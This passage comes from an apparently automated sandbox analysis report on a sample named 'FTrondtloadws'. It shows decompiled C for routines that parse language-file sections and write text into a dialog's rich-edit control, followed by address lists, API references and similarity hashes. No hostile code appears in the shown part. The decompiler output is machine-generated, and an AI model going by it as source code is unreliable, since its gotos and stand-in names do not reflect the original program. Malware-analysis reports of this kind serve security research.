								 *(_t468 - 0x40) = _t372;
								_t468[0xb] = _t392;
								_t468[0x15] = _t268;
								_t468[0xa] = 0x20;
								_t468[0xf] = 9;
								if(_t468[0x12] <= 0) {
									L109:
									__eflags =  *(_t468 - 0x40);
									if( *(_t468 - 0x40) == 0) {
										_t463 = _t468[0xe];
										L122:
										L00CE5069(_t468[0x13]);
										L00CE5069(_t468[0x11]);
										_t451 =  &(_t463[0x30]);
										__eflags = _t463[0x24] - _t372;
										if(_t463[0x24] <= _t372) {
											L124:
											 *0xd030e4 = _t463[0x20];
											E00CE7580(_t372,  *_t451, _t463[0x34], 4, E00CCEAA0);
											E00CE7580(_t372, _t463[0x40], _t463[0x44], 4, E00CCEAD0);
											goto L125;
										} else {
											goto L123;
										}
										do {
											L123:
											E00CCF561(_t451, _t443, _t372);
											E00CCF561( &(_t463[0x40]), _t443, _t372);
											_t372 = _t372 + 1;
											__eflags = _t372 - _t463[0x24];
										} while (_t372 < _t463[0x24]);
										goto L124;
									}
									_t468[7] = _t392;
									_t468[8] = E00CE9EEE(_t372, _t462, _t468 - 0x40);
									_pop(_t397);
									__eflags = _t462;
									if(_t462 == 0) {
										L118:
										 *(_t450 + _t462 * 2) = 0;
										_t279 = 0x22;
										__eflags =  *_t450 - _t279;
										if( *_t450 == _t279) {
											__eflags = _t450;
										}
										_t468[9] = E00CE8868(_t372, _t450);
										asm("movsd");
										asm("movsd");
										asm("movsd");
										_t463 = _t468[0xe];
										E00CCF57C( &(_t463[0x20]), _t443, _t397, _t397, _t450);
										goto L122;
									}
									_t212 = _t462 - 1; // -1
									_t283 = _t450 + _t212 * 2;
									_t443 = 0x20;
									do {
										_t397 =  *_t283 & 0x0000ffff;
										__eflags = _t397 - _t443;
										if(_t397 == _t443) {
											goto L114;
										}
										__eflags = _t397 - _t468[0xf];
										if(_t397 != _t468[0xf]) {
											break;
										}
										L114:
										_t397 = 0;
										 *_t283 = 0;
										_t283 = _t283 - 2;
										_t462 = _t462 - 1;
										__eflags = _t462;
									} while (_t462 != 0);
									__eflags = _t462;
									if(_t462 != 0) {
										_t284 = 0x22;
										__eflags =  *((intOrPtr*)(_t450 + _t462 * 2 - 2)) - _t284;
										if( *((intOrPtr*)(_t450 + _t462 * 2 - 2)) == _t284) {
											__eflags = 0;
											 *((short*)(_t450 + _t462 * 2 - 2)) = 0;
										}
									}
									goto L118;
								}
								_t468[6] = 0xd;
								_t468[5] = 0xa;
								do {
									_t399 = _t468[0x13];
									__eflags = _t268;
									if(_t268 == 0) {
										L75:
										_t443 =  *(_t399 + _t268 * 2) & 0x0000ffff;
										_t268 = _t268 + 1;
										_t468[0x15] = _t268;
										__eflags = _t443;
										if(_t443 == 0) {
											break;
										}
										__eflags = _t443 - _t468[4];
										if(_t443 != _t468[4]) {
											_t400 = 0xd;
											__eflags = _t443 - _t400;
											if(_t443 == _t400) {
												L93:
												__eflags =  *(_t468 - 0x40);
												if( *(_t468 - 0x40) == 0) {
													L105:
													 *(_t468 - 0x40) = _t372;
													_t462 = _t372;
													_t468[0xb] = _t372;
													L106:
													_t468[0xc] = _t462;
													goto L107;
												}
												_t468[7] = _t468[0xb];
												_t468[8] = E00CE9EEE(_t372, _t462, _t468 - 0x40);
												_pop(_t401);
												__eflags = _t462;
												if(_t462 == 0) {
													L102:
													 *(_t450 + _t462 * 2) = 0;
													_t290 = 0x22;
													__eflags =  *_t450 - _t290;
													if( *_t450 == _t290) {
														__eflags = _t450;
													}
													_t468[9] = E00CE8868(_t372, _t450);
													asm("movsd");
													asm("movsd");
													asm("movsd");
													E00CCF57C( &(_t468[0xe][0x20]), _t443, _t401, _t401, _t450);
													_t450 = _t468[0x11];
													_t268 = _t468[0x15];
													goto L105;
												}
												_t185 = _t462 - 1; // -1
												_t294 = _t450 + _t185 * 2;
												_t443 = 0x20;
												do {
													_t401 =  *_t294 & 0x0000ffff;
													__eflags = _t401 - _t443;
													if(_t401 == _t443) {
														goto L98;
													}
													__eflags = _t401 - _t468[0xf];
													if(_t401 != _t468[0xf]) {
														break;
													}
													L98:
													_t401 = 0;
													 *_t294 = 0;
													_t294 = _t294 - 2;
													_t462 = _t462 - 1;
													__eflags = _t462;
												} while (_t462 != 0);
												__eflags = _t462;
												if(_t462 != 0) {
													_t295 = 0x22;
													__eflags =  *((intOrPtr*)(_t450 + _t462 * 2 - 2)) - _t295;
													if( *((intOrPtr*)(_t450 + _t462 * 2 - 2)) == _t295) {
														__eflags = 0;
														 *((short*)(_t450 + _t462 * 2 - 2)) = 0;
													}
												}
												goto L102;
											}
											_t404 = 0xa;
											__eflags = _t443 - _t404;
											if(_t443 == _t404) {
												goto L93;
											}
											__eflags = _t462 - 0x10000;
											if(_t462 >= 0x10000) {
												goto L107;
											}
											L92:
											 *(_t450 + _t462 * 2) = _t443;
											_t462 = _t462 + 1;
											goto L106;
										}
										__eflags = _t462 - 0x10000;
										if(_t462 >= 0x10000) {
											goto L107;
										}
										_t406 = ( *(_t399 + _t268 * 2) & 0x0000ffff) - 0x22;
										__eflags = _t406;
										if(_t406 == 0) {
											_push(0x22);
											L88:
											_pop(_t407);
											 *(_t450 + _t462 * 2) = _t407;
											_t268 = _t268 + 1;
											_t468[0x15] = _t268;
											_t462 = _t462 + 1;
											goto L106;
										}
										_t410 = _t406 - 0x3a;
										__eflags = _t410;
										if(_t410 == 0) {
											_push(0x5c);
											goto L88;
										}
										_t411 = _t410 - 0x12;
										__eflags = _t411;
										if(_t411 == 0) {
											_push(0xa);
											goto L88;
										}
										_t412 = _t411 - 4;
										__eflags = _t412;
										if(_t412 == 0) {
											_push(0xd);
											goto L88;
										}
										__eflags = _t412 != 0;
										if(_t412 != 0) {
											goto L92;
										}
										_push(9);
										goto L88;
									}
									_t444 =  *(_t399 + _t268 * 2 - 2) & 0x0000ffff;
									__eflags = _t444 - _t468[6];
									if(_t444 == _t468[6]) {
										L42:
										_t443 = 0x3a;
										__eflags =  *(_t399 + _t268 * 2) - _t443;
										if( *(_t399 + _t268 * 2) != _t443) {
											L65:
											_t468[0x10] = _t399 + _t268 * 2;
											_t299 = E00CD1761( *(_t399 + _t268 * 2) & 0x0000ffff);
											__eflags = _t299;
											if(_t299 == 0) {
												L74:
												_t399 = _t468[0x13];
												_t268 = _t468[0x15];
												goto L75;
											}
											E00CD1908(_t468 - 0x298, _t468[0x10], 0x64);
											_t303 = E00CE7362(_t468 - 0x298, L" \t,");
											_t468[0x10] = _t303;
											__eflags = _t303;
											if(_t303 == 0) {
												goto L74;
											}
											 *_t303 = 0;
											E00CD30C5(_t468 - 0x298, _t468 - 0x16c, 0x64);
											E00CD18AD(_t468 - 0xa4, _t468 - 0x108, 0x64);
											E00CD1886(__eflags, _t468 - 0xa4, _t468 - 0x16c, 0x64);
											E00CD18AD(_t468 - 0x40, _t468 - 0xa4, 0x32);
											_t318 = E00CE73C1(_t372, 0, _t443, _t462, _t468 - 0xa4,  *(_t468[0xe]), _t468[0xe][4], 4, E00CCEA80);
											_t473 = _t473 + 0x14;
											__eflags = _t318;
											if(_t318 != 0) {
												_t322 =  *_t318 * 0xc;
												__eflags = _t322;
												_t156 = _t322 + 0xd00270; // 0x28b64ee0
												_t468[0xb] =  *_t156;
											}
											_t268 =  &(( &(_t468[0x15][1]))[_t468[0x10] - _t468 - 0x298 >> 1]);
											__eflags = _t268;
											_t421 = _t468[0x13];
											while(1) {
												_t443 =  *(_t421 + _t268 * 2) & 0x0000ffff;
												__eflags = _t443 - _t468[0xa];
												if(_t443 == _t468[0xa]) {
													goto L72;
												}
												L71:
												__eflags = _t443 - _t468[0xf];
												if(_t443 != _t468[0xf]) {
													_t468[0x15] = _t268;
													goto L107;
												}
												L72:
												_t268 = _t268 + 1;
												_t443 =  *(_t421 + _t268 * 2) & 0x0000ffff;
												__eflags = _t443 - _t468[0xa];
												if(_t443 == _t468[0xa]) {
													goto L72;
												}
												goto L71;
											}
										}
										_t453 = _t468[0x15];
										_t324 = _t268 | 0xffffffff;
										__eflags = _t324;
										_t466 = _t372;
										_t468[0xd] = _t324;
										_t374 = _t468[0x13];
										 *_t468 = L"STRINGS";
										_t468[1] = L"DIALOG";
										_t468[2] = L"MENU";
										_t468[3] = L"DIRECTION";
										do {
											_t468[0x10] = E00CE4DF3(_t468[_t466]);
											_t326 = E00CE72B8( &(_t374[2]) + _t453 * 2, _t468[_t466], _t325);
											_t473 = _t473 + 0x10;
											__eflags = _t326;
											if(_t326 != 0) {
												L47:
												_t327 = _t468[0xd];
												goto L48;
											}
											_t430 =  &(_t468[0x10][_t453]);
											_t346 = 0x20;
											__eflags = _t374[2 + _t430 * 2] - _t346;
											if(_t374[2 + _t430 * 2] > _t346) {
												goto L47;
											}
											_t327 = _t466;
											_t453 = _t430 + 1;
											_t468[0xd] = _t327;
											L48:
											_t466 = _t466 + 1;
											__eflags = _t466 - 4;
										} while (_t466 < 4);
										_t462 = _t468[0xc];
										_t372 = 0;
										_t468[0x15] = _t453;
										_t450 = _t468[0x11];
										__eflags = _t327;
										if(__eflags != 0) {
											_t268 = _t468[0x15];
											_t399 = _t468[0x13];
											if(__eflags <= 0) {
												goto L65;
											} else {
												goto L53;
											}
											while(1) {
												L53:
												_t443 = _t399 + _t268 * 2;
												_t455 =  *_t443 & 0x0000ffff;
												__eflags = _t455 - _t468[0xa];
												if(_t455 == _t468[0xa]) {
													goto L55;
												}
												L54:
												__eflags = _t455 - _t468[0xf];
												if(_t455 != _t468[0xf]) {
													_t468[0x15] = _t268;
													_t424 = _t372;
													_t456 = 0x20;
													__eflags = ( *_t443 & 0x0000ffff) - _t456;
													_t468[0x10] = _t372;
													_t450 = _t468[0x11];
													if(( *_t443 & 0x0000ffff) <= _t456) {
														L60:
														 *((short*)(_t468 + _t424 * 2 - 0x1d0)) = 0;
														E00CD30C5(_t468 - 0x1d0, _t468 - 0xa4, 0x64);
														_t468[0x15] =  &(_t468[0x15][_t468[0x10]]);
														_t334 = _t468[0xd];
														__eflags = _t334 - 3;
														if(_t334 != 3) {
															__eflags = _t334 - 1;
															_t335 = "$%s:";
															if(_t334 != 1) {
																_t335 = "@%s:";
															}
															E00CCF8B1(_t468 - 0x108, 0x64, _t335, _t468 - 0xa4);
															_t473 = _t473 + 0x10;
														} else {
															_t339 = E00CE7156(_t468 - 0x1d0, _t468 - 0x1d0, L"RTL");
															asm("sbb al, al");
															_t468[0xe][0x50] =  ~_t339 + 1;
														}
														L51:
														_t268 = _t468[0x15];
														goto L107;
													} else {
														goto L57;
													}
													while(1) {
														L57:
														__eflags = _t424 - 0x63;
														if(_t424 >= 0x63) {
															break;
														}
														_t342 =  *_t443;
														_t443 = _t443 + 2;
														 *((short*)(_t468 + _t424 * 2 - 0x1d0)) = _t342;
														_t424 = _t424 + 1;
														_t343 = 0x20;
														__eflags =  *_t443 - _t343;
														if( *_t443 > _t343) {
															continue;
														}
														break;
													}
													_t468[0x10] = _t424;
													goto L60;
												}
												L55:
												_t268 = _t268 + 1;
												L53:
												_t443 = _t399 + _t268 * 2;
												_t455 =  *_t443 & 0x0000ffff;
												__eflags = _t455 - _t468[0xa];
												if(_t455 == _t468[0xa]) {
													goto L55;
												}
												goto L54;
											}
										}
										E00CD18AD(_t468 - 0x108, 0xcf4a78, 0x64);
										goto L51;
									}
									__eflags = _t444 - _t468[5];
									if(_t444 != _t468[5]) {
										goto L75;
									}
									goto L42;
									L107:
									__eflags = _t268 - _t468[0x12];
								} while (_t268 < _t468[0x12]);
								_t392 = _t468[0xb];
								goto L109;
							} else {
								L00CE5069(_t461);
								goto L125;
							}
						}
						_t389 = _t385 >> 1;
						_t468[0x12] = _t389;
						goto L33;
					} else {
						goto L5;
					}
					goto L7;
					L5:
					E00CCF561(_t459, _t443, _t447);
					E00CCF561(_t459 + 0x10, _t443, _t447);
					_t447 = _t447 + 1;
					_t478 = _t447 -  *0xd00720; // 0x64
					if(_t478 < 0) {
						goto L5;
					} else {
						_t372 = 0;
						goto L7;
					}
				}
			}

0x00cced67
0x00cced68
0x00cced70
0x00cced7a
0x00cced84
0x00cced89
0x00cced8b
0x00cced8e
0x00cced91
0x00cced97
0x00cced99
0x00cced9c
0x00cceda2
0x00ccedde
0x00cceda4
0x00ccedac
0x00ccedc4
0x00ccedce
0x00ccedce
0x00ccede9
0x00ccedee
0x00ccedf6
0x00ccedf9
0x00ccee07
0x00ccf542
0x00ccf548
0x00ccf552
0x00ccf55a
0x00ccf55e
0x00ccee0d
0x00ccee0d
0x00ccee0f
0x00ccee15
0x00ccee33
0x00ccee3f
0x00ccee51
0x00ccee56
0x00ccee59
0x00ccee5c
0x00ccee5f
0x00ccee62
0x00ccee71
0x00ccee76
0x00ccee8b
0x00ccee90
0x00ccee93
0x00ccee95
0x00ccee95
0x00ccee98
0x00ccee9d
0x00ccef5a
0x00ccef5a
0x00ccef5d
0x00ccef6e
0x00ccef76
0x00ccef77
0x00ccef7a
0x00ccef7f
0x00000000
0x00000000
0x00ccef85
0x00ccef88
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00cceeb7
0x00cceec7
0x00cceecc
0x00cceed1
0x00ccef52
0x00ccef52
0x00ccef55
0x00000000
0x00cceed3
0x00cceed3
0x00cceed3
0x00cceed6
0x00cceed8
0x00cceee1
0x00ccef0c
0x00ccef14
0x00ccef40
0x00ccef40
0x00ccef44
0x00000000
0x00ccef46
0x00ccef46
0x00cceea3
0x00cceeab
0x00000000
0x00000000
0x00000000
0x00000000
0x00cceeab
0x00ccef20
0x00ccef30
0x00ccef35
0x00ccef3a
0x00000000
0x00000000
0x00000000
0x00ccef3a
0x00ccef14
0x00cceee9
0x00cceeef
0x00ccef00
0x00ccef05
0x00ccef0a
0x00ccef4e
0x00000000
0x00ccef4e
0x00ccef0a
0x00000000
0x00cceeef
0x00ccef97
0x00ccef9a
0x00ccef9f
0x00ccefa9
0x00ccefab
0x00ccefaf
0x00ccefb1
0x00000000
0x00000000
0x00ccefc3
0x00ccefc8
0x00ccefcc
0x00ccefce
0x00ccefd1
0x00ccefe1
0x00ccefe7
0x00ccefea
0x00ccefec
0x00000000
0x00000000
0x00cceff8
0x00cceffe
0x00ccf004
0x00ccf00a
0x00ccf00d
0x00ccf00f
0x00ccf012
0x00ccf012
0x00ccf017
0x00ccf019
0x00ccf01b
0x00ccf01b
0x00ccf021
0x00ccf031
0x00ccf036
0x00ccf040
0x00ccf042
0x00ccf046
0x00ccf048
0x00ccf056
0x00ccf05a
0x00ccf05c
0x00ccf05e
0x00ccf061
0x00ccf063
0x00ccf066
0x00ccf069
0x00ccf06c
0x00ccf073
0x00ccf07a
0x00ccf45c
0x00ccf45c
0x00ccf460
0x00ccf4e0
0x00ccf4e3
0x00ccf4e6
0x00ccf4ee
0x00ccf4f3
0x00ccf4f8
0x00ccf4fb
0x00ccf514
0x00ccf521
0x00ccf528
0x00ccf53a
0x00000000
0x00000000
0x00000000
0x00000000
0x00ccf4fd
0x00ccf4fd
0x00ccf500
0x00ccf509
0x00ccf50e
0x00ccf50f
0x00ccf50f
0x00000000
0x00ccf4fd
0x00ccf465
0x00ccf46e
0x00ccf471
0x00ccf472
0x00ccf474
0x00ccf4af
0x00ccf4b1
0x00ccf4b7
0x00ccf4b8
0x00ccf4bb
0x00ccf4bd
0x00ccf4bd
0x00ccf4ca
0x00ccf4d0
0x00ccf4d1
0x00ccf4d2
0x00ccf4d3
0x00ccf4d9
0x00000000
0x00ccf4d9
0x00ccf476
0x00ccf47b
0x00ccf47e
0x00ccf47f
0x00ccf47f
0x00ccf482
0x00ccf485
0x00000000
0x00000000
0x00ccf487
0x00ccf48b
0x00000000
0x00000000
0x00ccf48d
0x00ccf48d
0x00ccf48f
0x00ccf492
0x00ccf495
0x00ccf495
0x00ccf495
0x00ccf49a
0x00ccf49c
0x00ccf4a0
0x00ccf4a1
0x00ccf4a6
0x00ccf4a8
0x00ccf4aa
0x00ccf4aa
0x00ccf4a6
0x00000000
0x00ccf49c
0x00ccf080
0x00ccf087
0x00ccf08e
0x00ccf08e
0x00ccf091
0x00ccf093
0x00ccf32a
0x00ccf32a
0x00ccf32e
0x00ccf32f
0x00ccf332
0x00ccf335
0x00000000
0x00000000
0x00ccf33b
0x00ccf33f
0x00ccf392
0x00ccf393
0x00ccf396
0x00ccf3b6
0x00ccf3b6
0x00ccf3ba
0x00ccf445
0x00ccf445
0x00ccf448
0x00ccf44a
0x00ccf44d
0x00ccf44d
0x00000000
0x00ccf44d
0x00ccf3c3
0x00ccf3cf
0x00ccf3d2
0x00ccf3d3
0x00ccf3d5
0x00ccf410
0x00ccf412
0x00ccf418
0x00ccf419
0x00ccf41c
0x00ccf41e
0x00ccf41e
0x00ccf431
0x00ccf437
0x00ccf438
0x00ccf439
0x00ccf43a
0x00ccf43f
0x00ccf442
0x00000000
0x00ccf442
0x00ccf3d7
0x00ccf3dc
0x00ccf3df
0x00ccf3e0
0x00ccf3e0
0x00ccf3e3
0x00ccf3e6
0x00000000
0x00000000
0x00ccf3e8
0x00ccf3ec
0x00000000
0x00000000
0x00ccf3ee
0x00ccf3ee
0x00ccf3f0
0x00ccf3f3
0x00ccf3f6
0x00ccf3f6
0x00ccf3f6
0x00ccf3fb
0x00ccf3fd
0x00ccf401
0x00ccf402
0x00ccf407
0x00ccf409
0x00ccf40b
0x00ccf40b
0x00ccf407
0x00000000
0x00ccf3fd
0x00ccf39a
0x00ccf39b
0x00ccf39e
0x00000000
0x00000000
0x00ccf3a0
0x00ccf3a6
0x00000000
0x00000000
0x00ccf3ac
0x00ccf3ac
0x00ccf3b0
0x00000000
0x00ccf3b0
0x00ccf341
0x00ccf347
0x00000000
0x00000000
0x00ccf351
0x00ccf351
0x00ccf354
0x00ccf37b
0x00ccf37d
0x00ccf37d
0x00ccf37e
0x00ccf385
0x00ccf386
0x00ccf389
0x00000000
0x00ccf389
0x00ccf356
0x00ccf356
0x00ccf359
0x00ccf377
0x00000000
0x00ccf377
0x00ccf35b
0x00ccf35b
0x00ccf35e
0x00ccf373
0x00000000
0x00ccf373
0x00ccf360
0x00ccf360
0x00ccf363
0x00ccf36f
0x00000000
0x00ccf36f
0x00ccf366
0x00ccf369
0x00000000
0x00000000
0x00ccf36b
0x00000000
0x00ccf36b
0x00ccf099
0x00ccf09e
0x00ccf0a2
0x00ccf0ae
0x00ccf0b0
0x00ccf0b1
0x00ccf0b5
0x00ccf229
0x00ccf22c
0x00ccf233
0x00ccf238
0x00ccf23a
0x00ccf324
0x00ccf324
0x00ccf327
0x00000000
0x00ccf327
0x00ccf24c
0x00ccf25d
0x00ccf262
0x00ccf267
0x00ccf269
0x00000000
0x00000000
0x00ccf271
0x00ccf284
0x00ccf299
0x00ccf2ae
0x00ccf2c0
0x00ccf2db
0x00ccf2e0
0x00ccf2e3
0x00ccf2e5
0x00ccf2e7
0x00ccf2e7
0x00ccf2ea
0x00ccf2f0
0x00ccf2f0
0x00ccf304
0x00ccf304
0x00ccf306
0x00ccf309
0x00ccf309
0x00ccf30d
0x00ccf311
0x00000000
0x00000000
0x00ccf313
0x00ccf313
0x00ccf317
0x00ccf31c
0x00000000
0x00ccf31c
0x00ccf319
0x00ccf319
0x00ccf309
0x00ccf30d
0x00ccf311
0x00000000
0x00000000
0x00000000
0x00ccf311
0x00ccf309
0x00ccf0bb
0x00ccf0be
0x00ccf0be
0x00ccf0c1
0x00ccf0c3
0x00ccf0c6
0x00ccf0c9
0x00ccf0d0
0x00ccf0d7
0x00ccf0de
0x00ccf0e5
0x00ccf0f6
0x00ccf0fd
0x00ccf102
0x00ccf105
0x00ccf107
0x00ccf122
0x00ccf122
0x00000000
0x00ccf122
0x00ccf10c
0x00ccf110
0x00ccf111
0x00ccf116
0x00000000
0x00000000
0x00ccf118
0x00ccf11a
0x00ccf11d
0x00ccf125
0x00ccf125
0x00ccf126
0x00ccf126
0x00ccf12b
0x00ccf12e
0x00ccf130
0x00ccf133
0x00ccf136
0x00ccf138
0x00ccf155
0x00ccf158
0x00ccf15b
0x00000000
0x00000000
0x00000000
0x00000000
0x00ccf161
0x00ccf161
0x00ccf161
0x00ccf164
0x00ccf167
0x00ccf16b
0x00000000
0x00000000
0x00ccf16d
0x00ccf16d
0x00ccf171
0x00ccf178
0x00ccf17b
0x00ccf180
0x00ccf181
0x00ccf184
0x00ccf187
0x00ccf18a
0x00ccf1ab
0x00ccf1ad
0x00ccf1c5
0x00ccf1cd
0x00ccf1d0
0x00ccf1d3
0x00ccf1d6
0x00ccf1fc
0x00ccf1ff
0x00ccf204
0x00ccf206
0x00ccf206
0x00ccf21c
0x00ccf221
0x00ccf1d8
0x00ccf1e4
0x00ccf1f0
0x00ccf1f4
0x00ccf1f4
0x00ccf14d
0x00ccf14d
0x00000000
0x00000000
0x00000000
0x00000000
0x00ccf18c
0x00ccf18c
0x00ccf18c
0x00ccf18f
0x00000000
0x00000000
0x00ccf191
0x00ccf194
0x00ccf197
0x00ccf19f
0x00ccf1a2
0x00ccf1a3
0x00ccf1a6
0x00000000
0x00000000
0x00000000
0x00ccf1a6
0x00ccf1a8
0x00000000
0x00ccf1a8
0x00ccf173
0x00ccf173
0x00ccf161
0x00ccf161
0x00ccf164
0x00ccf167
0x00ccf16b
0x00000000
0x00000000
0x00000000
0x00ccf16b
0x00ccf161
0x00ccf148
0x00000000
0x00ccf148
0x00ccf0a4
0x00ccf0a8
0x00000000
0x00000000
0x00000000
0x00ccf450
0x00ccf450
0x00ccf450
0x00ccf459
0x00000000
0x00ccf04a
0x00ccf04b
0x00000000
0x00ccf050
0x00ccf048
0x00ccefd3
0x00ccefd5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00ccee17
0x00ccee1a
0x00ccee23
0x00ccee28
0x00ccee29
0x00ccee2f
0x00000000
0x00ccee31
0x00ccee31
0x00000000
0x00ccee31
0x00ccee2f

APIs

__EH_prolog.LIBCMT ref: 00CCED70
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00CCEDAC

Part of subcall function 00CCD687: _wcslen.LIBCMT ref: 00CCD68F

Part of subcall function 00CD18E0: _wcslen.LIBCMT ref: 00CD18E6

Part of subcall function 00CD2EA2: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00CCCEF8,00000000,?,?), ref: 00CD2EBE

_wcslen.LIBCMT ref: 00CCF0E9
__fprintf_l.LIBCMT ref: 00CCF21C

Strings

, xrefs: 00CCF06C
$%s:, xrefs: 00CCF1FF
R, xrefs: 00CCEF0C
*messages***, xrefs: 00CCEEC1
@%s:, xrefs: 00CCF206, 00CCF212
RTL, xrefs: 00CCF1DE
*messages***, xrefs: 00CCEEFA
,, xrefs: 00CCF257
a, xrefs: 00CCEF16

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: e799bd1f84f5fd877406e5463b8b26782d81c9824911d88b33c15ff231639d69
Instruction ID: 90206ef34e73ec31b6c28e90bb77ea39ec296a76ade43a1e210ab5ca77f54171
Opcode Fuzzy Hash: e799bd1f84f5fd877406e5463b8b26782d81c9824911d88b33c15ff231639d69
Instruction Fuzzy Hash: 6D32CD71A00258ABCF28EF68C841FEE77A6FF04704F44416EFA1697291E7719E86DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00CDE496 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00CDE496() {
				intOrPtr _t41;
				intOrPtr _t44;
				struct HWND__* _t46;
				void* _t48;
				char _t49;

				E00CDC5F8(); // executed
				_t46 = GetDlgItem( *0xd0a470, 0x68);
				_t49 =  *0xd0a47b; // 0x1
				if(_t49 == 0) {
					_t44 =  *0xd0a47c; // 0x0
					E00CDA215(_t44);
					ShowWindow(_t46, 5); // executed
					SendMessageW(_t46, 0xb1, 0, 0xffffffff);
					SendMessageW(_t46, 0xc2, 0, 0xcf45f4);
					 *0xd0a47b = 1;
				}
				SendMessageW(_t46, 0xb1, 0x5f5e100, 0x5f5e100);
				 *(_t48 + 0x10) = 0x5c;
				SendMessageW(_t46, 0x43a, 0, _t48 + 0x10);
				 *((char*)(_t48 + 0x29)) = 0;
				_t41 =  *((intOrPtr*)(_t48 + 0x70));
				 *((intOrPtr*)(_t48 + 0x14)) = 1;
				if(_t41 != 0) {
					 *((intOrPtr*)(_t48 + 0x24)) = 0xa0;
					 *((intOrPtr*)(_t48 + 0x14)) = 0x40000001;
					 *(_t48 + 0x18) =  *(_t48 + 0x18) & 0xbfffffff | 1;
				}
				SendMessageW(_t46, 0x444, 1, _t48 + 0x10);
				SendMessageW(_t46, 0xc2, 0,  *(_t48 + 0x74));
				SendMessageW(_t46, 0xb1, 0x5f5e100, 0x5f5e100);
				if(_t41 != 0) {
					 *(_t48 + 0x18) =  *(_t48 + 0x18) & 0xfffffffe | 0x40000000;
					SendMessageW(_t46, 0x444, 1, _t48 + 0x10);
				}
				return SendMessageW(_t46, 0xc2, 0, L"\r\n");
			}

0x00cde49d
0x00cde4b7
0x00cde4bc
0x00cde4c2
0x00cde4c4
0x00cde4ca
0x00cde4d2
0x00cde4dd
0x00cde4eb
0x00cde4f1
0x00cde4f1
0x00cde501
0x00cde50b
0x00cde51b
0x00cde523
0x00cde527
0x00cde52c
0x00cde532
0x00cde53d
0x00cde547
0x00cde54f
0x00cde54f
0x00cde55f
0x00cde56d
0x00cde57c
0x00cde584
0x00cde592
0x00cde5a3
0x00cde5a3
0x00cde5bf

APIs

Part of subcall function 00CDC5F8: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CDC609
Part of subcall function 00CDC5F8: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CDC61A
Part of subcall function 00CDC5F8: IsDialogMessageW.USER32(00010424,?), ref: 00CDC62E
Part of subcall function 00CDC5F8: TranslateMessage.USER32(?), ref: 00CDC63C
Part of subcall function 00CDC5F8: DispatchMessageW.USER32(?), ref: 00CDC646

GetDlgItem.USER32(00000068,00D21CF0), ref: 00CDE4AA
ShowWindow.USER32(00000000,00000005,?,?,00000001,?,?,00CDC849,00CF60F0,00D21CF0,00D21CF0,00001000,00D030C4,00000000,?), ref: 00CDE4D2
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00CDE4DD
SendMessageW.USER32(00000000,000000C2,00000000,00CF45F4), ref: 00CDE4EB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00CDE501
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00CDE51B
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00CDE55F
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00CDE56D
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00CDE57C
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00CDE5A3
SendMessageW.USER32(00000000,000000C2,00000000,00CF549C), ref: 00CDE5B2

Strings

\, xrefs: 00CDE50B

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: a93830e5169ae1a174c81aa9a7e1e8df2208240b22ad9c999ae8d13c573b08ae
Instruction ID: 232df72bfbaaab2176328356d7fb52a9a71119d89ea93e046142108dba0fcc79
Opcode Fuzzy Hash: a93830e5169ae1a174c81aa9a7e1e8df2208240b22ad9c999ae8d13c573b08ae
Instruction Fuzzy Hash: 6C31EF71149B41ABE3119F24AC4AFAF7FACEB92704F000509F695D6390EB749A0687B6

Uniqueness

Uniqueness Score: -1.00%

Function 00CDE75F Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

